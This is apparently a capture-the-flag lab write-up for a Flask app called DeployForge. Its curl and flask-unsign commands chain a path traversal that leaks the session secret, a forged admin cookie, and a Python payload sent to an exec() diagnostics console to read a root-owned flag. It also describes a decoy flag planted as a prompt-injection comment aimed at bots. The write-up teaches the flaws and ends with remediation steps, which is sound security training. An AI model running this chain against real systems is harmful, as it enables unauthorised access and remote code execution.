Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console
Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: authenticated_path_traversal, flask_session_forgery, python_code_execution, source_code_disclosure
Summary
Walkthrough of the CUSTOM Web Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console. Task: An authenticated Flask report download permits path traversal, exposing source code and its session-signing secret. Solution: Forge an admin session, reach an unsandboxed diagnostics exec consol
Description
Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console
The application provides deployment reports to an authenticated user. The goal is to chain an arbitrary file read into administrative access and remote code execution, then retrieve the real FLAG{...} value.
The target instance was:
text read-only • copy allowedhttps://f7a06626-0f77-445d-b740-3592ca9f86c5.labs.hackadvisor.io/
Analysis
robots.txt disclosed /admin/, /api/, and /admin/diagnostics. After login, the report download endpoint accepted a user-controlled file parameter. Its base directory was /app/reports, but it did not canonicalize the requested path and verify that the result remained inside that directory.
Requesting ../app.py therefore returned /app/app.py. The source disclosed the Flask signing secret:
text read-only • copy alloweddeployforge-path-traversal-rce-diagnostics-fixed-secret-2026-do-not-rotate-multi-worker-stability
The source also showed two critical implementation flaws:
- Administrative authorization only checked whether
admin_idexisted in the signed Flask session. /admin/diagnosticspassed thecodeform parameter directly to unsandboxed Pythonexec()and captured standard output.
Knowing the Flask secret allowed an attacker to create a valid session containing admin_id. This converted the initial arbitrary file read into an authorization bypass and then direct Python code execution. This was not shell command injection through a host field; the backend executed Python source itself.
Impact
An ordinary authenticated user could read arbitrary server files, recover application secrets, impersonate an administrator, and execute arbitrary Python with the application's privileges. In this deployment, that access was sufficient to read /root/flag.txt.
Solution
1. Authenticate and retain the Flask session
bash read-only • copy allowedBASE='https://f7a06626-0f77-445d-b740-3592ca9f86c5.labs.hackadvisor.io' curl -sS -c cookies.txt -b cookies.txt \ -X POST "$BASE/login" \ --data-urlencode 'email=user@test.com' \ --data-urlencode 'password=password123'
2. Traverse from the reports directory to the application source
bash read-only • copy allowedcurl -sS -b cookies.txt \ "$BASE/api/reports/download?file=../app.py" \ -o app.py
Because reports were resolved beneath /app/reports, ../app.py selected /app/app.py. Inspection of the returned source revealed the Flask SECRET_KEY, the weak admin_id authorization condition, and the unsafe diagnostics exec() call.
3. Forge an administrative Flask session
bash read-only • copy allowedSECRET='deployforge-path-traversal-rce-diagnostics-fixed-secret-2026-do-not-rotate-multi-worker-stability' FORGED=$(flask-unsign --sign \ --cookie "{'admin_id': 1, 'admin_username': 'admin'}" \ --secret "$SECRET") curl -sS -b "session=$FORGED" "$BASE/admin/diagnostics"
The signed payload was accepted because Flask trusted cookies authenticated with the leaked secret, and the route only required admin_id to be present.
4. Execute Python and read the flag
bash read-only • copy allowedPAYLOAD="import os; print(open('/root/flag.txt').read() if os.path.exists('/root/flag.txt') else open('/flag.txt').read())" curl -sS -b "session=$FORGED" \ -X POST "$BASE/admin/diagnostics" \ --data-urlencode "code=$PAYLOAD"
The diagnostics handler executed the payload with exec(), captured its standard output, and returned the contents of /root/flag.txt.
Decoy and Failed Paths
- Every HTML page contained
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in a honeypot or prompt-injection comment. Its repeated placement in page boilerplate, bot-directed wording, and mismatch with execution-based retrieval identified it as a decoy. It is not the solution flag. /.git/and/.envboth returned HTTP 404 and did not expose secrets.- Direct URL-normalization or admin-route bypasses were unnecessary because the leaked Flask secret enabled deterministic session forgery.
- Shell metacharacter injection into a diagnostic host parameter was not applicable. Source review proved that the actual sink was direct Python
exec(code).
Remediation
- Resolve requested report paths with
Path.resolve()and reject any path that is not a descendant of the fixed reports directory. Prefer server-side report identifiers over client-supplied filenames. - Store a high-entropy Flask secret outside source control, rotate the exposed secret immediately, and invalidate all existing sessions.
- Do not treat the presence of a client-side session key as sufficient authorization. Load the user server-side and enforce an explicit administrative role.
- Remove the diagnostics console from production. Never pass user input to
exec(); implement a fixed allowlist of safe diagnostic operations in an isolated, least-privileged service. - Run the web application as a dedicated unprivileged account that cannot read root-owned secrets.
Key Takeaways / Lessons
- Mastering authenticated_path_traversal, flask_session_forgery, python_code_execution, source_code_disclosure was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-16 • CUSTOM • Lab 264 — DeployForge — Path Traversal to RCE via Admin Diagnostics Console • Difficulty: Medium